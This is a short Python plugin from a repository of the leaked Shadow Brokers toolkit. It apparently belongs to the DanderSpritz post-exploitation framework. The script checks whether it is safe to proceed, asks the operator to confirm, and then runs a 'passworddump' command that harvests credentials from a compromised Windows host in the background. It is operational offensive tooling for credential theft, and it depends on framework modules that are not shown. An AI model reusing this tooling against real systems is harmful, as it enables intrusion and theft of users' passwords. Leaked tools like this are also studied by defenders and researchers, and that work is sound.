shadowbrokers-exploits/windows/Resources/Ops/PyScripts/lib/ops/survey/pwdump.py
2017-04-14 11:45:07 +02:00

27 lines
No EOL
1.1 KiB
Python

from optparse import OptionParser
import dsz
import ops, ops.survey
import ops.cmd
import ops.project
import datetime
import ops.security
def main():
parser = OptionParser()
parser.add_option('--maxage', dest='maxage', default='3600', help='Maximum age of information to use before re-running commands for this module', type='int')
(options, args) = parser.parse_args()
ops.survey.print_header('Password dump')
pwdump_cmd = ops.cmd.getDszCommand('passworddump')
(issafe, messages) = pwdump_cmd.safetyCheck()
if (not issafe):
ops.warn('Skipping passworddump for now because of a failed safety check')
ops.warn(messages)
ops.warn("If you want to do it yourself, feel free, but I don't think it's safe")
ops.pause()
return
yesno = dsz.ui.Prompt("I think it's safe to run passworddump. Do you want to run it?")
if yesno:
ops.security.get_passwords(maxage=datetime.timedelta(seconds=options.maxage), cmd_options={'dszbackground': True})
if ((__name__ == '__main__') or (__name__ == ops.survey.PLUGIN)):
main()